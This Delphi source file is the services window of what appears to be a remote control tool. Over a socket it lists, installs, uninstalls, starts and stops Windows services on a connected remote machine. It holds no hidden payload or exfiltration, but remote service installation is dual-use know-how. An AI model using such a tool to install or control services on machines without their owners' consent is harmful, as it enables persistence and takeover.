unitservices.pas

不错的远程控制程序

unit UnitServices;

interface

uses
  Windows,
  Messages,
  SysUtils,
  Variants,
  Classes,
  Graphics,
  Controls,
  Forms,
  Dialogs,
  Menus,
  ComCtrls,
  Sockets,
  CompressionStreamUnitForms, ExtCtrls, StdCtrls, Buttons, ImgList;

type
  TServices = class(TForm)
    ListView1: TListView;
    PopupMenu1: TPopupMenu;
    Install1: TMenuItem;
    Uninstall1: TMenuItem;
    N1: TMenuItem;
    Start1: TMenuItem;
    Stop1: TMenuItem;
    N2: TMenuItem;
    Refresh1: TMenuItem;
    Panel1: TPanel;
    BitBtn2: TBitBtn;
    BitBtn3: TBitBtn;
    BitBtn4: TBitBtn;
    BitBtn5: TBitBtn;
    BitBtn6: TBitBtn;
    ImageList1: TImageList;
    procedure FormCreate(Sender: TObject);
    procedure Refresh1Click(Sender: TObject);
    procedure Uninstall1Click(Sender: TObject);
    procedure Start1Click(Sender: TObject);
    procedure Stop1Click(Sender: TObject);
    procedure Install1Click(Sender: TObject);
    procedure FormClose(Sender: TObject; var Action: TCloseAction);
    procedure FormDeactivate(Sender: TObject);
    procedure PopupMenu1Popup(Sender: TObject);
    procedure BitBtn2Click(Sender: TObject);
    procedure BitBtn3Click(Sender: TObject);
    procedure BitBtn4Click(Sender: TObject);
    procedure BitBtn5Click(Sender: TObject);
    procedure BitBtn6Click(Sender: TObject);
    procedure FormShow(Sender: TObject);
  private
    { Private declarations }
    Machine: string;
    DataSocket: TCustomWinSocket;
    Connected: Boolean;
    ConnectNotifyInfo: TNotifyInfo;
    ReadNotifyInfo: TNotifyInfo;
    DisconnectNotifyInfo: TNotifyInfo;
    procedure Connect(var Socket: TCustomWinSocket; Data: Pointer);
    procedure Read(var Socket: TCustomWinSocket; CommandFrame: TCommandFrame; Stream: TMemoryStream; Data: Pointer);
    procedure Disconnect(var Socket: TCustomWinSocket; Data: Pointer);
    function SocketConnected: Boolean;
  public
    { Public declarations }
    RemoteAddress: string;
    WindowItem: TListItem;
  end;

implementation

{$R *.dfm}

uses
  UnitMain;

const
  SRV_TYPE = 9;
  SRV_LIST = 1;
  SRV_INSTALL = 2;
  SRV_UNINSTALL = 3;
  SRV_START = 4;
  SRV_STOP = 5;

function TServices.SocketConnected: Boolean;
begin
  if ((Connected) and (DataSocket <> nil)) then
  begin
    Connected := DataSocket.Connected;
    if not Connected then BitBtn2.Caption  := '已断开';
  end;
  Result := Connected;
end;

function Split(Input: string; Deliminator: string; Index: Integer): string;
var
  StringLoop, StringCount: Integer;
  Buffer: string;
begin
  StringCount := 0;
  for StringLoop := 1 to Length(Input) do
  begin
    if (Copy(Input, StringLoop, 1) = Deliminator) then
    begin
      Inc(StringCount);
      if StringCount = Index then
      begin
        Result := Buffer;
        Exit;
      end
      else
      begin
        Buffer := '';
      end;
    end
    else
    begin
      Buffer := Buffer + Copy(Input, StringLoop, 1);
    end;
  end;
  Result := Buffer;
end;

procedure TServices.Connect(var Socket: TCustomWinSocket; Data: Pointer);
var
  Services: TServices;
  ConnectionInfo: TConnectionInfo;
begin
  Services := TServices(Data);
  if TStreamRecord(Socket.Data).LocalAddress <> Services.RemoteAddress then Exit;
  if Services.DataSocket = nil then Services.DataSocket := Socket else Exit;
  ConnectionInfo.ConnectionType := SRV_TYPE;
  Socket.SendBuf(ConnectionInfo, SizeOf(TConnectionInfo));
  Services.Connected := True;
//  Services.StatusBar1.Panels.Items[0].Text := ' 已连接: ' + Socket.RemoteAddress;
// Services.StatusBar1.Tag := 1;
  Services.ListView1.Cursor:=crDefault;
  Services.Machine := '\\127.0.0.1';
  Services.Refresh1Click(nil);
  Socket := nil;
end;

procedure TServices.Read(var Socket: TCustomWinSocket; CommandFrame: TCommandFrame; Stream: TMemoryStream; Data: Pointer);
var
  Services: TServices;
  Strings: TStringList;
  x: dword;
  ListItem: TListItem;
  sData: string;
begin
  Services := TServices(Data);
  if Services.DataSocket = Socket then
  begin
    try
      case CommandFrame.Command of
        SRV_LIST:
          begin
            Services.ListView1.Items.Clear;
            SetLength(sData, Stream.Size);
            Stream.ReadBuffer(Pointer(sData)^, Stream.Size);
            Services.ListView1.Clear;
            Strings := TStringList.Create;
            Strings.Text := sData;
            for x := 0 to Strings.Count - 1 do
            begin
              ListItem := Services.ListView1.Items.Add;
              ListItem.Caption := Split(Strings.Strings[x], '|', 1);
              ListItem.SubItems.Add(Split(Strings.Strings[x], '|', 2));
              ListItem.SubItems.Add(Split(Strings.Strings[x], '|', 3));
            end;
            Strings.Free;
          end;
      end;
    finally
      Socket := nil;
    end;
  end;
end;

procedure TServices.Disconnect(var Socket: TCustomWinSocket; Data: Pointer);
var
  Services: TServices;
begin
  Services := TServices(Data);
  if Services.DataSocket = Socket then
  begin
    Services.Connected := False;
    Services.BitBtn2.Caption:= '已断开';
    Socket := nil;
    Services.DataSocket := nil;
  end;
end;

procedure TServices.FormCreate(Sender: TObject);
begin
  DataSocket := nil;
  ConnectNotifyInfo := TNotifyInfo.Create;
  ConnectNotifyInfo.Data := Self;
  ConnectNotifyInfo.Callback := @TServices.Connect;
  Main.NotifyConnectList.Add(ConnectNotifyInfo);
  ReadNotifyInfo := TNotifyInfo.Create;
  ReadNotifyInfo.Data := Self;
  ReadNotifyInfo.Callback := @TServices.Read;
  Main.NotifyReadList.Add(ReadNotifyInfo);
  DisconnectNotifyInfo := TNotifyInfo.Create;
  DisconnectNotifyInfo.Data := Self;
  DisconnectNotifyInfo.Callback := @TServices.Disconnect;
  Main.NotifyDisconnectList.Add(DisconnectNotifyInfo);
end;

procedure TServices.Refresh1Click(Sender: TObject);
var
  CommandFrame: TCommandFrame;
  ReplyStream: TMemoryStream;
begin
  if not SocketConnected then Exit;
  CommandFrame.len := Length(Machine) + 1;
  CommandFrame.Command := SRV_LIST;
  CommandFrame.ID := FRAME_ID;
  ReplyStream := TMemoryStream.Create;
  ReplyStream.WriteBuffer(CommandFrame, SizeOf(TCommandFrame));
  ReplyStream.WriteBuffer(Pointer(Machine)^, CommandFrame.len);
  Main.SendStream(DataSocket, ReplyStream);
end;

procedure TServices.Uninstall1Click(Sender: TObject);
var
  CommandFrame: TCommandFrame;
  ReplyStream: TMemoryStream;
  Data: string;
begin
  if not SocketConnected then Exit;
  Data := Machine + '|' + ListView1.Selected.Caption;
  CommandFrame.len := Length(Data) + 1;
  CommandFrame.Command := SRV_UNINSTALL;
  CommandFrame.ID := FRAME_ID;
  ReplyStream := TMemoryStream.Create;
  ReplyStream.WriteBuffer(CommandFrame, SizeOf(TCommandFrame));
  ReplyStream.WriteBuffer(Pointer(Data)^, Length(Data) + 1);
  Main.SendStream(DataSocket, ReplyStream);
end;

procedure TServices.Start1Click(Sender: TObject);
var
  CommandFrame: TCommandFrame;
  ReplyStream: TMemoryStream;
  Data: string;
begin
  if not Assigned(ListView1.Selected) then Exit;
  if not SocketConnected then Exit;
  Data := Machine + '|' + ListView1.Selected.Caption;
  CommandFrame.len := Length(Data) + 1;
  CommandFrame.Command := SRV_START;
  CommandFrame.ID := FRAME_ID;
  ReplyStream := TMemoryStream.Create;
  ReplyStream.WriteBuffer(CommandFrame, SizeOf(TCommandFrame));
  ReplyStream.WriteBuffer(Pointer(Data)^, Length(Data) + 1);
  Main.SendStream(DataSocket, ReplyStream);
end;

procedure TServices.Stop1Click(Sender: TObject);
var
  CommandFrame: TCommandFrame;
  ReplyStream: TMemoryStream;
  Data: string;
begin
  if not Assigned(ListView1.Selected) then Exit;
  if not SocketConnected then Exit;
  Data := Machine + '|' + ListView1.Selected.Caption;
  CommandFrame.len := Length(Data) + 1;
  CommandFrame.Command := SRV_STOP;
  CommandFrame.ID := FRAME_ID;
  ReplyStream := TMemoryStream.Create;
  ReplyStream.WriteBuffer(CommandFrame, SizeOf(TCommandFrame));
  ReplyStream.WriteBuffer(Pointer(Data)^, Length(Data) + 1);
  Main.SendStream(DataSocket, ReplyStream);
end;

{procedure TServices.ChangeHost1Click(Sender: TObject);
var
  Address: string;
begin
  Address := InputBox('连接机器', '请输入连接地址', '');
  if Length(Address) = 0 then Exit;
  Machine := '\\' + Address;
end;  }

procedure TServices.Install1Click(Sender: TObject);
var
  ServiceName, DisplayName, FileName: string;
  CommandFrame: TCommandFrame;
  ReplyStream: TMemoryStream;
  Data: string;
begin
  if not SocketConnected then Exit;
  ServiceName := InputBox('安装服务', '请输入服务名称', '');
  if Length(ServiceName) = 0 then Exit;
  DisplayName := InputBox('安装服务', '请输入服务描述', '');
  if Length(DisplayName) = 0 then Exit;
  FileName := InputBox('安装服务', '请输入服务程序的路径', '');
  if Length(FileName) = 0 then Exit;
  Data := Machine + '|' + ServiceName + '|' + DisplayName + '|' + FileName;
  CommandFrame.len := Length(Data) + 1;
  CommandFrame.Command := SRV_INSTALL;
  CommandFrame.ID := FRAME_ID;
  ReplyStream := TMemoryStream.Create;
  ReplyStream.WriteBuffer(CommandFrame, SizeOf(TCommandFrame));
  ReplyStream.WriteBuffer(Pointer(Data)^, Length(Data) + 1);
  Main.SendStream(DataSocket, ReplyStream);
end;

procedure TServices.FormClose(Sender: TObject; var Action: TCloseAction);
var
  Socket: TCustomWinSocket;
begin
  Main.NotifyConnectList.Delete(Main.NotifyConnectList.IndexOf(ConnectNotifyInfo));
  Main.NotifyReadList.Delete(Main.NotifyReadList.IndexOf(ReadNotifyInfo));
  Main.NotifyDisconnectList.Delete(Main.NotifyDisconnectList.IndexOf(DisconnectNotifyInfo));
  WindowItem.Delete;
  if DataSocket <> nil then
  begin
    if not SocketConnected then
    begin
      Socket := DataSocket;
      DataSocket := nil;
      Connected := False;
      Socket.Close;
    end;
  end;
end;

procedure TServices.FormDeactivate(Sender: TObject);
begin
  if WindowState = wsMinimized then Hide;
end;

procedure TServices.PopupMenu1Popup(Sender: TObject);
begin
  Refresh1.Visible := ListView1.Cursor  =crDefault;
end;

procedure TServices.BitBtn2Click(Sender: TObject);
begin
  Install1.Click ;
end;

procedure TServices.BitBtn3Click(Sender: TObject);
begin
Uninstall1.Click;
end;

procedure TServices.BitBtn4Click(Sender: TObject);
begin
  Start1.Click;
end;

procedure TServices.BitBtn5Click(Sender: TObject);
begin
 Stop1.Click ;
end;

procedure TServices.BitBtn6Click(Sender: TObject);
begin
Refresh1.Click ;
end;

procedure TServices.FormShow(Sender: TObject);
begin
SetWindowLong(BitBtn2.Handle, GWL_STYLE, WS_CHILD or WS_VISIBLE or BS_FLAT);
SetWindowLong(BitBtn3.Handle, GWL_STYLE, WS_CHILD or WS_VISIBLE or BS_FLAT);
SetWindowLong(BitBtn4.Handle, GWL_STYLE, WS_CHILD or WS_VISIBLE or BS_FLAT);
SetWindowLong(BitBtn5.Handle, GWL_STYLE, WS_CHILD or WS_VISIBLE or BS_FLAT);
SetWindowLong(BitBtn6.Handle, GWL_STYLE, WS_CHILD or WS_VISIBLE or BS_FLAT);
end;

end.